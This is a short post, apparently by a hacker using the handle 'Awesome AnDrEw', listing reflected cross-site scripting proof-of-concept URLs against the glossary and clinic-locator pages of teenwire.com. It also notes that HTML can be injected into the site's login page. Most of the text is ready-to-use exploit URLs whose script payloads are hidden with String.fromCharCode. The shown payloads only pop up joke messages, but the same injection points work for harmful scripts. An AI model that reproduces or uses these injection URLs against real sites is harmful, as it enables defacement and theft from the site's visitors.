The site's glossary feature:
http://www.teenwire.com/glossary/glossary-definition.php?term=<script>alert(String.fromCharCode(34,84,117,114,110,32,111,110,46,32,84,117,110,101,32,105,110,46,32,68,114,111,112,32,111,117,116,46,34));</script>
The site's Planned Parenthood location area:
http://www.teenwire.com/clinics/cl-zip.php?%7ENum-Len-5%7EZip_Code="><script>alert(String.fromCharCode(34,72,101,121,32,104,101,121,32,73,32,119,97,110,116,101,100,32,67,104,105,110,101,115,101,32,116,97,107,101,97,119,97,121,33,32,72,101,121,32,104,101,121,33,32,87,111,111,32,119,111,111,32,119,111,111,33,34));</script>&x=10&y=5
The site's login area.
http://www.teenwire.com/login/
You can inject simple HTML to disrupt the page like XMP via POST request, but I doubt much can be accomplished on this one.
Awesome AnDrEw - That's The Sound Of Your Brain Crackin'
http://www.awesomeandrew.net/